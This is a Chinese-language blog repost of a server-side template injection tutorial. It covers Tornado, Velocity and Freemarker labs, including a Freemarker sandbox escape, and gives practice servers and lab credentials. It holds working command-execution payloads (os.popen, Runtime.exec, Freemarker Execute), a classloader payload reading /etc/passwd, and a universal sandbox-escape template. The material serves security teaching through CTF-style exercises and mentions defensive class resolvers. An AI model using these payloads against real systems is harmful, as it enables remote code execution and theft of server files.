百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

详解模板注入漏洞(下) 模板注释

suiw9 2024-11-13 14:44 23 浏览 0 评论


在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在本文中,我们将继续为读者介绍其他四种模版引擎相关的注入漏洞。


6. LAB 3: Tornado (Python)

简介

Tornado模板是Tornado(一款流行的Python Web框架)中的一个引擎。针对该模版的练习非常简单,这表明:有时候仅需阅读库文档就能找到强大的功能。

模板语法基础知识

Hello {{userName}}

基本数据绑定

攻击面

它比Jinja2简单多了。因为它支持import指令。这个指令的实现类似于Python的import。

{%import os%}

import指令前后需要加上{…}括号。

下面展示的是一个完整的payload,它用于导入os模块,并执行方法popen(即打开进程)。

{%import os%}

{{os.popen("whoami").read()}}

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

这个服务用于模拟下列情形:每次提交表单时都会发送一封邮件。

使用以上方法就可以利用这里的漏洞。

您可以访问服务器上的flag.txt文件了吗?


7. LAB 4: Velocity (Java)

简介

Velocity是最流行的Java模板引擎之一。而Freemarker则是另一个非常流行的选择。在本文中,我们之所以选择Velocity,是因为的利用难度要大一些。

模板语法基础知识

参考资料:Velocity的官方文档

攻击面

James Kettles发现的原始payload需要激活一个名为ClassTool的可选插件。

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

在本文中,将不会启用该插件。

Velocity支持为变量赋值。

#set( $foo = "bar" )

$foo

这个模式用于访问我们的目标类型。下面是一个实现命令执行功能的payload,但是这里不需要启用任何可选的插件。

#set($x='')##

#set($rt=$x.class.forName('java.lang.Runtime'))##

#set($chr=$x.class.forName('java.lang.Character'))##

#set($str=$x.class.forName('java.lang.String'))##

#set($ex=$rt.getRuntime().exec('ls'))##

$ex.waitFor()

#set($out=$ex.getInputStream())##

#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

要访问管理功能,请使用凭据admin/123456进行登陆。

使用以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?


8. LAB 5: Freemarker (Java)

简介

Freemarker是另一款流行的Java模板引擎。不过,它的发展速度要比Velocity快得多。

模板语法基础知识

${message}

${user.displayName}

参考资料:Freemarker官方文档

攻击面

内置函数

Freemarker具有一个特定的内置函数列表(在Freemarker文档中通常称为built-in)。这些内置函数可以作为变量的后缀使用。例如,${nbAverageUsers}可以转化为${nbAverageUsers?abs}。

abs, absoluteTemplateName, ancestors, api,

boolean, byte,

c, capFirst, capitalize, ceiling, children, chopLinebreak, chunk, contains, counter,

date, dateIfUnknown, datetime, datetimeIfUnknown, default, double, dropWhile,

endsWith, ensureEndsWith, ensureStartsWith, esc, eval, exists,

filter, first, float, floor,

groups,

hasApi, hasContent, hasNext, html,

ifExists, index, indexOf, int, interpret, isBoolean, isCollection, isCollectionEx, isDate, isDateLike, isDateOnly, isDatetime, isDirective, isEnumerable, isEvenItem, isFirst, isHash, isHashEx, isIndexable, isInfinite, isLast, isMacro, isMarkupOutput, isMethod, isNan, isNode, isNumber, isOddItem, isSequence, isString, isTime, isTransform, isUnknownDateLike, iso, isoH, isoHNZ, isoLocal, isoLocalH, isoLocalHNZ, isoLocalM, isoLocalMNZ, isoLocalMs, isoLocalMsNZ, isoLocalNZ, isoM, isoMNZ, isoMs, isoMsNZ, isoNZ, isoUtc, isoUtcFZ, isoUtcH, isoUtcHNZ, isoUtcM, isoUtcMNZ, isoUtcMs, isoUtcMsNZ, isoUtcNZ, itemCycle, itemParity, itemParityCap,

jString, join, jsString, jsonString,

keepAfter, keepAfterLast, keepBefore, keepBeforeLast, keys,

last, lastIndexOf, leftPad, length, long, lowerAbc, lowerCase,

map, markupString, matches, max, min,

namespace, new, nextSibling, noEsc, nodeName, nodeNamespace, nodeType, number, numberToDate, numberToDatetime, numberToTime,

parent, previousSibling,

removeBeginning, removeEnding, replace, reverse, rightPad, root, round, rtf,

seqContains, seqIndexOf, seqLastIndexOf, sequence, short, size, sort, sortBy, split, startsWith, string, substring, switch,

takeWhile, then, time, timeIfUnknown, trim, truncate, truncateC, truncateCM, truncateM, truncateW, truncateWM,

uncapFirst, upperAbc, upperCase, url, urlPath,

values,

webSafe, withArgs, withArgsLast, wordList,

xhtml, xml

所有内置函数的详细清单

从安全的角度来看,大多数内置函数都非常简单且乏味。但有一件事很特别,那就是new函数。我们可以在官方文件中阅读以下注意事项。

“这个内置函数可能存在安全问题,因为模板作者可以创建任意Java对象,然后使用它们,只要它们实现了TemplateModel的话。此外,模板作者甚至还可以为没有实现TemplateModel的类触发静态初始化。”资料来源:Freemarker docs: Built-in new

Execute类

按照官方描述,我们可以调用exec()函数(TemplateModel的入口方法)。通过其设计,Execute类允许我们执行命令并以字符串的形式获得命令执行结果。

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8025/。

要访问管理功能,请使用凭据admin/hackfest进行登陆。

通过以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?

潜在的防御机制

值得一提的是,Freemarker确实提供了一种方法来限制模板中的类引用,接下来的练习将按照文档中的描述实现一个ClassResolver。

“您可以(从2.3.17版本开始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者new_builtin_class_resolver设置来限制这个内置寒水可以访问哪些类。更多信息请参见Java API文档。如果您允许不太可信的用户上传模板,那么您务必深入研究一下这个话题。”资料来源: Freemarker docs: Built-in new


9. LAB 6: Freemaker (沙箱逃逸)

Freemarker中的沙盒

Freemarker具有过滤哪些类允许访问的功能。例如,需要实现TemplateClassResolver类的子类,这个类将决定模板中的类引用是否被允许。

<ul>

<#list .data_model?keys as key>

<li>${key}</li>

</#list>

</ul>

或者:

${.data_model.keySet()}

查找对类加载器的引用

Classloader类的实例有可能给我们提供远程代码执行(RCE)权限。例如,类加载器可以从外部提供方法加载类(Java字节码)。

以下是可能返回Classloader的常见位置列表。

java.lang.Class.getClassLoader()

java.lang.Thread.getCurrentClassLoader()

java.lang.ProtectionDomain.getClassLoader()

javax.servlet.ServletContext.getClassLoader()

org.osgi.framework.wiring.BundleWiring.getClassLoader()

org.springframework.context.ApplicationContext.getClassLoader()

这些API将转换为以下Freemarker语法形式。

//java.lang.Object.getClass() -> java.lang.Class.getClassLoader()

${any_object.class.classLoader}

//javax.servlet.ServletRequest -> javax.servlet.ServletContext.getClassLoader()

${request.servletContext.classLoader}

并非所有的类加载器都是相同的

尽管不同的类加载器可能有一个公共的子类,但是,它们的实现却差别很大。不同的Web容器(托管Java应用的Web服务器)在运行时将使用不同的类加载器。因此,我们需要调整我们的payload来锁定正确的目标。

读取文件/目录列表

<#assign uri = classLoader.getResource("META-INF").toURI() >

<#assign url = uri.resolve("file:///etc/passwd").toURL() >

<#assign bytes = url.openConnection().inputStream.readAllBytes() >

${bytes}

(Payload来源:Room for Escape: Scribbling Outside the Lines of Template Security)

在我们的测试中,我们发现到字节数组不会自动转换为字符串。规避该限制的一种方法是每次提取一个字节。

${bytes[0]}

${bytes[1]}

${bytes[2]}

[...]

别忘了,字节是以十进制格式打印的。

通用方法

Oleksandr Mirosh和Alvaro Mu?oz 在他们的文章中详细介绍了Web容器特有的各种链条。这些容器包括Tomcat、Jetty、GlassFish、WebLogic和WebSphere。如果您想寻找Freemarker之外的沙盒的逃逸技术,这些都是一个很好的灵感来源。

然而,如果您的目标是利用当前的模板引擎,则存在一个通用的payload(也是来自上面提及的同一篇文章),适用于Freemarker 2.3.29以及更低版本(2020年3月以及修复了该漏洞)。为此,您需要在数据模型中找到一个作为对象的变量。

<#assign classloader=<<object>>.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

${dwf.newInstance(ec,null)("whoami")}

这里是一个模板,它将对数据模型中的所有变量进行暴力枚举。

<#list .data_model as key, object_test>

<b>Testing "${key}":</b><br/>

<#attempt>

<#assign classloader=object_test.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

Shell ! (

${dwf.newInstance(ec,null)("id")}

)

<#recover>

failed

</#attempt>

<br/><br/>

</#list>

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8026/。

该应用程序与之前的基本相同,唯一区别在于:它被配置为只能访问有限的类,因此,这里将无法直接使用Execute类。

要访问管理功能,请使用凭证admin/hackfest进行登陆。

这个应用程序看上去与之前的应用程序非常相似。最后,请验证您是否连接到了8026端口。


10. 结束语

事实上,由于模板引擎的功能是如此强大,以至于必须将其视为脚本来对待。而脚本需要具有非常好的沙箱保护功能,否则的话,就需要通过用户权限来限制对这些具有安全风险功能的访问。因为在很多情况下,它们可能会危及底层操作系统。


参考文献

Server-Side Template Injection [Slides] | [White-paper] by James Kettle

Room for Escape: Scribbling Outside the Lines of Template Security [Slides] | [White-paper] by Oleksandr Mirosh and Alvaro Mu?oz

Exploitation of Server Side Template Injection with Craft CMS (Twig template)

Cheatsheet – Flask & Jinja2 SSTI

PayloadsAllTheThings: Community Github repository

相关推荐

5款Syslog集中系统日志常用工具对比推荐

一、为何要集中管理Syslog?Syslog由Linux/Unix系统及其他网络设备生成,广泛分布于整个网络。因其包含关键信息,可用于识别网络中的恶意活动,所以必须对其进行持续监控。将Sys...

跨平台、多数据库支持的开源数据库管理工具——DBeaver

简介今天给大家推荐一个开源的数据库管理工具——DBeaver。它支持多种数据库系统,包括Mysql、Oracle、PostgreSQL、SLQLite、SQLServer等。DBeaver的界面友好...

强烈推荐!数据库管理工具:Navicat Premium 16.3.2 (64位)

NavicatPremium,一款集数据迁移、数据库管理、SQL/查询编辑、智能设计、高效协作于一体的全能数据库开发工具。无论你是MySQL、MariaDB、MongoDB、SQLServer、O...

3 年 Java 程序员还玩不转 MongoDB,网友:失望

一、什么场景使用MongoDB?...

拯救MongoDB管理员的GUI工具大赏:从菜鸟到极客的生存指南

作为一名在NoSQL丛林中披荆斩棘的数据猎人,没有比GUI工具更称手的瑞士军刀了。本文将带你围观五款主流MongoDB管理神器的特性与暗坑,附赠精准到扎心的吐槽指南一、MongoDBCompass:...

mongodb/redis/neo4j 如何自己打造一个 web 数据库可视化客户端?

前言最近在做neo4j相关的同步处理,因为产线的可视化工具短暂不可用,发现写起来各种脚本非常麻烦。...

solidworks使用心得,纯干货!建议大家收藏

SolidWorks常见问题...

统一规约-关乎数字化的真正实现(规范统一性)

尽管数字化转型的浪潮如此深入人心,但是,对于OPCUA和TSN的了解却又甚少,这难免让人质疑其可实现性,因为,如果缺乏统一的语义互操作规范,以及更为具有广泛适用的网络与通信,则数字化实际上几乎难以具...

Elasticsearch节点角色配置详解(Node)

本篇文章将介绍如下内容:节点角色简介...

产前母婴用品分享 篇一:我的母婴购物清单及单品推荐

作者:DaisyH8746在张大妈上已经混迹很久了,有事没事看看“什么值得买”已渐渐成了一种生活习惯,然而却从来没有想过自己要写篇文章发布上来,直到由于我产前功课做得“太过认真”(认真到都有点过了,...

比任何人都光彩照人的假期!水润、紧致的肌肤护理程序

图片来源:谜尚愉快的假期临近了。身心振奋的休假季节。但是不能因为这种心情而失去珍贵的东西,那就是皮肤健康。炙热的阳光和强烈的紫外线是使我们皮肤老化的主犯。因此,如果怀着快乐的心情对皮肤置之不理,就会使...

Arm发布Armv9边缘AI计算平台,支持运行超10亿参数端侧AI模型

中关村在线2月27日消息,Arm正式发布Armv9边缘人工智能(AI)计算平台。据悉,该平台以全新的ArmCortex-A320CPU和领先的边缘AI加速器ArmEthos-U85NPU为核心...

柔性——面向大规模定制生产的数字化实现的基本特征

大规模定制生产模式的核心是柔性,尤其是体现在其对定制的要求方面。既然是定制,并且是大规模的定制,对于制造系统的柔性以及借助于数字化手段实现的柔性,就提出了更高的要求。面向大规模定制生产的数字化业务管控...

创建PLC内部标准——企业前进的道路

作者:FrankBurger...

标准化编程之 ----------- 西门子LPMLV30测试总结

PackML乃是由OMAC开发且被ISA所采用的自动化标准TR88.00.02,能够更为便捷地传输与检索一致的机器数据。PackML的主要宗旨在于于整个工厂车间倡导通用的“外观和感觉”,...

取消回复欢迎 发表评论: